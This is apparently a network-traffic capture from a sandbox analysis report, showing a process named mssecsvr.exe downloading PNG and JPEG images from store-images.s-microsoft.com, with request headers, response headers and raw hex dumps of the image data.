2022-07-20 04:05:58 UTC	452	OUT	GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:58 UTC	453	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2132 Content-Type: image/png Last-Modified: Tue, 06 Oct 2020 07:51:53 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQjEyNkQ2RTQ" MS-CV: io5H35z9qESL1hpw.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:58 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:58 UTC	453	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 02 46 50 4c 54 45 ff ff ff 22 90 d3 00 1f 37 00 1e 37 2b b0 fe 04 2e 4c 01 23 3d 00 1e 36 2c b1 ff 8f 9c a6 00 21 3a 03 2d 4b 01 24 3f 15 67 9b 02 26 42 02 28 44 15 6a 9f 0f 55 81 06 36 57 00 21 3b 22 94 d8 1c 81 be 1f 8c ce 10 58 86 06 35 57 10 58 87 1a 79 b3 01 24 3e 1d 86 c5 1f 8b cd 2a af fc 06 35 56 21 90 d3 15 6a 9e 1c 84 c2 19 78 b3 1a 7a b4 1d 85 c4 02 27 43 19 77 b1 fe fe fe 14 66 99 19 77 b0 03 2c 4a 19 78 b2 1c 84 c3 2b af fd 28 a5 ef 10 59 88 1f 8c cd 0c 29 3f 2c 45 59 05 22 39 2a ae fb 01 25 40 07 3a 5d 16 6e a4 04 2f 4d 20 90 d3 15 67 9c 0f 55 82 28 a7 f2 27 a4 ee 24 9a e1 08 3b 5e 0d 4f 7a 00 1f 38 06 37 58 23 99 e0 00 20 39 21 91 d5 14 Data Ascii: PNGIHDR#:FPLTE"77+.L#=6,!:-K$?g&B(DjU6W!;"X5WXy$>5V!jxz'Cwfw,Jx+(Y)?,EY"9%@:]n/M gU('$;^Oz87X# 9!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49782	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:58 UTC	455	OUT	GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:58 UTC	456	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 64662 Content-Type: image/png Last-Modified: Fri, 25 Jun 2021 08:37:44 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODBBM0YxNTA" MS-CV: ++gJr3axoUmfcmGL.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:58 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:58 UTC	456	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 80 00 49 44 41 54 78 9c bc bd 09 b8 6f 59 55 1f f8 3b f7 fe ef 7d f7 0d f5 6a 1e a1 0a aa 8a c2 82 02 0b d0 56 51 89 46 0d 11 e4 d3 0e 26 86 88 51 8c f9 3a e9 f8 35 26 e9 b6 cd 64 ba e3 67 d2 6d d2 d1 b4 b6 6d 12 35 6a 6c 8d 60 68 47 44 01 03 11 30 32 c8 20 83 54 51 14 54 51 f3 5c 6f 7e 77 3a 7d 86 bd f6 fe ad 61 9f 73 ee 83 f4 f9 ea d5 b9 ff 73 f6 59 7b ad b5 d7 fa ed b5 f6 de 67 9f 15 5e ff 86 4f 63 7d e3 12 ec ed 02 0d 30 fc 4f 9d a3 6b 4d be ec ee 0f 27 be df fd 6f ad 3f af 99 7b a6 cc d4 3d 2e 33 c9 9f f9 bb b1 cf f4 6c 54 f8 58 2a 77 ed 5e db d3 6e c6 f3 14 ff 4d d2 c5 5a ed 5e 4d d7 Data Ascii: PNGIHDR,,y}upHYsodIDATxoYU;}jVQF&Q:5&dgmm5jl`hGD02 TQTQ\o~w:}assY{g^Oc}0OkM'o?{=.3lTX*w^nMZ^M
2022-07-20 04:05:58 UTC	472	IN	Data Raw: 69 75 e5 8e 75 32 fc 95 db af c4 15 87 57 59 47 c3 73 9d d3 fe f2 1d 4f e2 74 bf 0b 44 a7 87 b6 07 f3 ae c0 b5 97 6e e1 d5 cf b9 18 af 7a f6 71 bc e0 f2 2d 5c dd 81 cc c6 7a f1 b4 5e de 87 ce ec e1 5d 0f 9e c1 4f 7e ec 49 fc c1 3d a7 d0 6e ae 0d 75 0f 18 de d3 e9 44 bc ee d2 43 78 f5 8d c7 f0 ca eb 8f e2 b6 4b 37 71 75 07 20 87 56 6b ca ea 4f 74 40 fa 81 c7 b7 f1 d3 77 9e c4 af dc 75 ba 8b b8 3a e9 d6 d7 8c 07 16 af 89 66 66 db 5e df 5d 95 37 5e ba 81 6f bd 61 0b 2f bf 66 13 cf 3b be c2 95 1d 00 1e 5a d7 9d 5f 6f 0f 8f 77 a0 f5 89 13 7b f8 9d 87 b6 f1 cb 9f 3b 8f 07 4f ee 0e bb 60 94 6a 5b 0f 5a 11 38 28 27 67 57 3a c0 98 56 00 26 39 92 37 65 60 68 28 be 84 60 be 36 bd e4 21 97 83 97 07 82 16 01 68 d9 f1 b8 fe 7f e3 40 45 6b 6b 2a 67 b7 57 10 04 5c 6c 8f Data Ascii: iuu2WYGsOtDnzq-\z^]O~I=nuDCxK7qu VkOt@wu:ff^]7^oa/f;Z_ow{;O`j[Z8('gW:V&97e`h(`6!h@Ekk*gW\l
2022-07-20 04:05:58 UTC	488	IN	Data Raw: 36 a5 ef 1b db b8 dc 83 a2 6c 43 8c 72 aa c4 8c 59 bd f8 5b e3 0a da cf 13 53 3a b3 b2 49 6d 70 bb ab a7 0b 53 c6 2d 3b 5a c7 b5 ec a8 61 bf 01 14 37 62 6a dc d2 56 71 1d 7b 55 f9 7b b0 e5 d3 62 9c b1 19 76 33 68 d8 cf 27 df 7a be 63 56 12 ac 6c 59 ba 0d 50 f5 18 59 ec 3d 3a 82 27 f7 1c c6 01 e3 26 76 18 d0 3a 65 76 1f ce 5f 36 0b 7d a6 3c 43 e3 53 ec 3e fb 76 d8 00 d1 9a 85 83 78 df 4b 96 e2 2f bf b3 b5 5e 5f 09 d2 59 9a 36 31 69 5e 76 da 5c c3 84 56 3b 66 d5 84 df 03 d6 3d b7 41 7f 03 86 56 76 dd 7e 2a 83 a9 c3 f0 84 de 9e 36 54 38 61 9e f1 67 2f 5f 8a 3b 77 0d e1 c1 ed 27 4c a7 56 b1 e6 34 1c 52 95 5c 5d e2 55 7b 24 72 52 32 5d 49 12 f6 e9 aa c5 9b f3 5a 42 bc b0 d6 2d 4f 1a 98 7d 7b 5b 06 c9 32 98 4a 1a 03 0c 8f 8c 4d ab 80 16 81 09 90 8c 69 de 32 0d Data Ascii: 6lCrY[S:ImpS-;Za7bjVq{U{bv3h'zcVlYPY=:'&v:ev_6}<CS>vxK/^_Y61i^v\V;f=AVv~*6T8ag/_;w'LV4R\]U{$rR2]IZB-O}{[2JMi2
2022-07-20 04:05:58 UTC	489	IN	Data Raw: 38 77 d5 02 3c ba 61 97 d1 f6 1e de 43 8e 4d e0 e2 f3 56 61 cd e2 d9 18 1d 4f 01 ab d3 ba 9e 63 e3 f8 cc 3d 9b ab 65 2f 04 ac 4b df d7 bc 58 86 65 f1 65 a0 1b 2f 3b 75 81 b1 24 dd 38 6d 51 a7 0c 6b fa f4 fd cf 57 a7 48 d3 fb 25 e8 7b 4a d2 4e 79 7c ba 92 c8 d8 ca c3 3c 6b ed 8a 39 38 77 c9 4c 75 ba 88 0d f8 df f6 c4 1e 1c 38 30 54 b9 82 25 98 0b 53 a9 85 7d 5f cd 7d 5b 69 5c be 52 61 79 f6 89 f6 eb 11 1a 14 b7 65 31 cf 7c e9 d2 19 58 38 b3 07 23 0a 23 b2 57 af 69 87 fb 76 1c c7 dd 2f d4 2e 9c 74 8f e8 67 f3 fb 43 3b 8f e3 1e f3 f7 8a 55 b3 12 a6 67 2f 1b a8 5f 3c a3 1b 2f 5d dc 8f 9b 36 8e 55 88 a8 b0 a8 40 c8 6b f9 87 43 56 34 a6 85 08 44 a9 eb 98 a6 c9 c6 b2 02 30 81 83 9d 60 61 09 8b 4a 30 01 f0 0c b1 32 f9 22 88 3c 61 5a 40 78 7e 02 5a a4 29 43 0c 4b Data Ascii: 8w<aCMVaOc=e/KXee/;u$8mQkWH%{JNy\|<k98wLu80T%S}_}[i\Raye1\|X8##Wiv/.tgC;Ug/_</]6U@kCV4D0`aJ02"<aZ@x~Z)CK
2022-07-20 04:05:58 UTC	505	IN	Data Raw: f8 6d 5c b6 13 c3 63 f8 bb eb 6f c7 bf 7c f3 21 bc f9 ea f5 f8 c5 9f b8 0c 17 9d b5 d2 a5 1b 1b 1d 73 9b c4 fd 47 5d 15 be 54 8a 33 25 d7 c5 fd 27 bb ac 94 fb ed a8 9f 61 7d fb 0e 0f e1 0b df dd 88 7f b8 63 13 9e 79 a1 de 1e c6 cd a9 aa af 92 6b 9b 76 52 32 03 1b 03 52 af 3b 6b 11 16 cf b3 7b a3 8d 63 b0 bf 0b cf ec 3c 82 0f 7e fd 29 37 ef 8a 4d a4 f4 4f f1 e2 d4 58 38 09 30 84 48 8e a6 73 e0 fa 1b 80 8d fa 5a d2 85 a3 a0 c5 11 91 b8 79 c8 02 9a 1e 4a 51 48 40 28 27 52 5b 03 95 25 20 01 2e ac 7b ad 93 b0 ed 65 7c 63 82 3c 4e 7e 47 3f cb 74 ed 30 31 ed 3e 9f 67 ee fe 76 d2 36 3d 57 cb b7 6a 2b 3e 19 51 0b 32 c6 b4 10 0a a1 cd 5f 4a 99 96 8f 45 78 65 d0 a6 04 24 2c cd 4b da ce 9d aa 81 eb 5f be 70 17 ae bf e9 21 bc e1 f2 75 78 df 1b 5e 8a 57 bf f4 74 0c 0c Data Ascii: m\co\|!sG]T3%'a}cykvR2R;k{c<~)7MOX80HsZyJQH@('R[% .{e\|c<N~G?t01>gv6=Wj+>Q2_JExe$,K_p!ux^Wt
2022-07-20 04:05:58 UTC	517	IN	Data Raw: 41 ef 74 65 d4 62 ea 31 7f 28 78 e5 ca 24 d0 d4 dc d6 7e 5b 97 4c c6 4e 5e 9c 06 87 bf 1d a1 3b 69 b5 eb 92 98 9c 67 99 b1 5e 4e 13 78 47 3a b8 a0 61 f9 79 21 65 93 ba af a7 90 d3 1f 90 fc dc ee c9 16 85 8c 31 a9 5e a7 35 90 c4 ef 98 30 ef 38 8a c0 70 a7 67 a7 56 69 f8 9e 02 4c 07 be 13 a8 4e 80 ef ca 52 32 3c 21 8f 93 de a3 b9 d7 d5 79 d2 fb 09 d1 9d 3a 8f 53 67 f2 c4 e6 45 6f 1a 5a 21 21 39 f8 3c 32 08 22 11 69 9c 44 a4 b3 8e 2c 20 39 2d 4f c4 5f 94 76 ff 5a 07 af 72 b7 44 00 18 49 b6 73 34 33 ca 60 a0 b3 4d 50 bf 6b 92 31 02 b8 6c 32 28 86 bf 69 bd 1b b6 8a d0 53 bf 9a a3 f5 5b ca 73 f4 a4 f4 fe 2a a2 2e 8b b8 a6 0d ca e2 5b 28 9f 27 e0 a3 63 a1 9e 86 48 78 75 78 c5 47 d0 1e 63 c9 97 36 f0 db 81 c8 af b1 e3 2b 00 f3 6f 2e 63 77 6d 07 d4 ee 50 84 7b 02 Data Ascii: Ateb1(x$~[LN^;ig^NxG:ay!e1^508pgViLNR2<!y:SgEoZ!!9<2"iD, 9-O_vZrDIs43`MPk1l2(iS[s*.[('cHxuxGc6+o.cwmP{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49723	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:47 UTC	57	OUT	GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:47 UTC	61	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 4765 Content-Type: image/png Last-Modified: Wed, 04 Mar 2020 18:13:05 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QUY0QThGRjc" MS-CV: 0gdTj9M+eE6j3uUJ.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:47 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:47 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 12 64 49 44 41 54 78 5e ec d4 41 0d 00 20 10 03 b0 1d c1 bf e5 a1 81 e7 25 ad 88 4e db 6c 00 70 f2 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 Data Ascii: PNGIHDR,,y}udIDATx^A %Nlp@X ,aa@X@X ,aa@X ,@X ,a@X ,@X ,a@X ,aa@X ,@X ,aa@X ,@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49788	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:59 UTC	519	OUT	GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:59 UTC	520	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 12462 Content-Type: image/png Last-Modified: Fri, 04 Jun 2021 08:47:09 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTcwNDdCNjk" MS-CV: YL1WyeTAvUC1HHWF.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:59 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:59 UTC	520	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 30 43 49 44 41 54 78 5e ed 9d 09 78 55 c5 dd c6 cd 46 02 24 ec 5b 42 48 20 1b 4b 20 20 a0 28 6e 05 14 95 45 56 d9 51 b4 6e b5 e2 be a1 d6 b5 b6 2e b5 2a d5 16 97 af 9f 75 af da d6 cf 6a ab 6d ad 56 dc 70 b7 22 22 a0 e0 86 2c 22 10 b2 2f e7 ff bd ff 73 73 31 09 93 e4 86 9c 7b ef 39 e7 be bf e7 f9 3d 48 80 e4 cc dc 33 af 33 73 e6 cc 1c 40 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsod0CIDATx^xUF$[BH K (nEVQn.*ujmVp"","/ss1{9=H33s@!B!B!B!B!B!B!B!B!B!B!B!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49793	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:59 UTC	532	OUT	GET /image/apps.55990.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.1c9f2174-7e18-48ba-af90-e569a2444a83?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:59 UTC	533	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 36301 Content-Type: image/jpeg Last-Modified: Mon, 09 Aug 2021 18:25:01 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYzMDA1MzJGOEY" MS-CV: q3l8T0dRYkekS5SG.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:59 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:59 UTC	533	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF x
2022-07-20 04:05:59 UTC	549	IN	Data Raw: cc b7 c7 67 22 36 f7 6c d2 0e d3 d0 48 03 3b 15 25 7a 8a fa 1f e3 c1 49 a0 f3 0b 31 90 cf 3e ea 51 a3 8d c3 85 ee bd 9d c8 d3 8d e8 3e a9 d5 aa e4 6b 7e e7 7f ef e9 ea 12 6c 9f 72 d8 c0 50 34 8d cb f8 f1 1d 6f e2 c8 b2 17 00 3c 8d d8 d5 f2 a5 3d 6b fc 38 42 5f 90 8f 3a ed 4c cc 06 0f 19 19 b3 b9 73 c8 6a 98 64 cf 84 83 69 0b c5 5c 41 a0 b7 67 fd 79 42 44 73 4b be e4 e8 c3 18 e1 bd 51 1b 06 b1 e8 f4 5f 71 88 8e 90 c6 6c 3a 5b 7d 5e 46 ab 0c 64 4c eb d3 bb 33 2f e9 a9 ff 00 62 24 3a 8d 7a b1 00 74 27 84 a7 96 6e ed e0 b7 ba 82 09 07 ed 96 72 18 63 a7 fe a4 a3 91 a7 fb 31 d1 c9 ff 00 13 03 f2 a5 d5 c5 fc 6d 6b 95 e3 da 2a 3b ea 5a bb e9 9c 7f 97 b1 b0 b1 8b 6f 1b f7 38 05 b6 bd bb ae d5 7b 33 22 9b ec 9e 91 a3 45 21 14 65 47 b1 ea 77 23 91 7e ab e8 6f 74 67 Data Ascii: g"6lH;%zI1>Q>k~lrP4o<=k8B_:Lsjdi\AgyBDsKQ_ql:[}^FdL3/b$:zt'nrc1mk*;Zo8{3"E!eGw#~otg
2022-07-20 04:05:59 UTC	557	IN	Data Raw: 5b 15 23 9e d6 14 d1 89 64 3f 65 ee fb c6 23 10 ad 5f 71 8d 54 c8 da 98 d9 b1 f8 38 7f 6e 05 ff 00 70 53 2b 95 fc e2 15 7d 29 19 eb cd e4 04 b7 a5 55 3e 3c 43 42 12 6d 57 77 1f ff 00 58 15 5f 81 94 8a bb 9f f7 01 0a 0f c0 b1 eb c2 6d f2 27 8c aa 3c e4 c2 58 e3 f8 f7 98 e5 d6 d8 60 5b 77 0e ba 96 60 06 b8 cd 45 e3 5e 8c 9b 71 62 20 b5 b6 e3 2c d4 62 8a 31 fd c3 fb 31 15 1a c0 f6 ab fb f6 db e0 9f b6 bc 2c 9e 3a 5d cf 65 70 cb bf 2f a2 1d f2 e0 34 29 d7 44 0b 42 5a 30 82 95 20 d4 b1 ab 2d 45 02 27 33 e5 0c 9e d4 dc a9 0d fd 91 3b 71 65 d4 1d 4f ea 37 f8 9e bf 95 89 3d 54 d2 84 52 a3 85 41 c4 5e 06 72 1d 9c 4e 48 b7 d1 50 5b 8e 46 4b fa 82 2c 4a 0a 28 92 2c ac 56 3e 50 04 35 fd 90 95 83 6b 0b 09 03 15 43 11 e8 8f ee 21 1a fe c7 b5 cc ee 58 6f 5d d9 26 c4 dc Data Ascii: [#d?e#_qT8npS+})U><CBmWwX_m'<X`[w`E^qb ,b11,:]ep/4)DBZ0 -E'3;qeO7=TRA^rNHP[FK,J(,V>P5kC!Xo]&

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49798	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:59 UTC	568	OUT	GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:59 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 36356 Content-Type: image/png Last-Modified: Tue, 01 Feb 2022 21:30:34 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTRBNkU5OUQ" MS-CV: z5GVXLljMESvilJy.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:59 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:59 UTC	569	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 8d 99 49 44 41 54 78 01 ed bd 09 bc a5 c7 55 1f 78 ea be d7 7b b7 ba 25 bb 2d 4b 6e d9 6d 5b b6 ac 76 b0 64 cb 6a 63 27 58 0d 32 43 60 62 10 03 32 09 b1 13 83 4d 06 08 3f 76 86 25 04 db 24 13 60 86 80 93 09 01 32 13 42 98 e1 c7 04 41 00 11 32 c1 01 d4 92 81 60 59 6d 4b 02 29 96 2c cb 92 25 6b b1 96 5e df 7e ef 77 a6 96 b3 fc ab ee 6d 59 b2 16 ab df ab 23 dd be f7 7d 4b 55 7d f5 55 fd eb 7f 4e 9d 3a 45 d4 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 Data Ascii: PNGIHDR,,y}upHYssRGBgAMAaIDATxUx{%-Knm[vdjc'X2C`b2M?v%$`2BA2`YmK),%k^~wmY#}KU}UN:EK.]tK.]tK.]tK.]t
2022-07-20 04:05:59 UTC	585	IN	Data Raw: cc 93 02 ab d3 08 d2 0b cf 2b 04 5c b6 97 eb f5 f1 c7 1f cf 8c eb 0f fe e0 0f 5e 71 d6 ae ed 17 2c 2c 2e a7 3d 21 a5 46 48 1d 52 2b 86 52 31 1b 30 61 d1 4c 76 65 97 a9 c1 de 98 11 57 46 f7 5c af 81 1a 96 56 a7 27 3f 61 36 c0 d3 30 3f 2f 4b cf fe 16 04 64 28 b1 00 23 30 2b 4f 5c 4b b1 b4 bc 74 e7 ef fe d6 7f f8 6c fa 2b b2 d3 fc 5e 74 2b af f5 68 bf 4a d2 19 56 23 b1 1d 5c 95 9c 44 57 d7 12 60 25 87 d1 b2 d9 84 8d b8 36 da 51 65 7f d0 96 a8 56 0e 60 4d 6a 8b d2 46 cf 36 c2 e3 08 ee 8d b4 48 36 88 7b 74 4b 6d e3 c8 e0 ca bd 64 ac 22 45 29 f5 0e 91 13 61 46 f6 c6 72 cf e0 1d 44 d9 a3 31 36 92 6d c4 94 6c 51 f2 a2 be 5d 17 d5 9a 27 f5 81 03 07 86 68 9f 7a 46 3a 45 5e 92 22 11 1b c8 d7 be a9 01 79 1c 6d 5f e3 cb 2f bf fc cd 1a 1b 2c 45 7d 4d 2e 14 64 6c 63 f0 Data Ascii: +\^q,,.=!FHR+R10aLveWF\V'?a60?/Kd(#0+O\Ktl+^t+hJV#\DW`%6QeV`MjF6H6{tKmd"E)aFrD16mlQ]'hzF:E^"ym_/,E}M.dlc
2022-07-20 04:05:59 UTC	593	IN	Data Raw: 04 67 8f e4 e7 14 8c 42 35 f8 b0 b3 b8 00 37 31 bb 49 01 51 3f fd 73 ea b8 d9 af 6c 39 4e 72 16 dd bb 77 ef 86 75 67 50 d9 28 0c 2b bd e4 bc 8b f0 d2 d2 4a 09 5b a2 33 51 d2 68 92 ba 33 72 fb 46 19 8d 85 51 e1 4e d0 6a a5 60 33 8f e4 36 6f aa 13 11 9b 0d c4 9a 60 70 f7 a1 91 35 4e 27 24 d8 57 fc 1e 21 21 76 65 f1 db 0a 4a eb ac df 05 df 5b 30 d8 6a 13 98 fb 57 4d c5 81 09 f3 81 c9 2b 1b b6 6d 37 eb ca 3e 9c 53 63 35 9e ab a7 be 82 44 4e b3 c4 0b 63 59 9e 1c e0 21 65 e9 0a 58 6d f4 19 58 76 9e 36 03 fe e0 66 9f c6 37 cd 8a 6c 15 e3 b3 6f 8c ec 49 a1 13 1a c0 0c 4e e2 93 2b 70 44 1f 1a 0d e4 dc 24 a3 60 a3 f6 32 b4 63 11 b9 0d 6c 04 76 2e fb 96 44 94 8d 2b aa d9 35 f1 aa 3b ee bc fd 3a 6a b6 f3 4a a7 65 ff c1 0d 2d 1b 02 b0 12 bb 2a 51 2c d7 28 85 de 4d 6b Data Ascii: gB571IQ?sl9NrwugP(+J[3Qh3rFQNj`36o`p5N'$W!!veJ[0jWM+m7>Sc5DNcY!eXmXv6f7loIN+pD$`2clv.D+5;:jJe-*Q,(Mk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49804	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
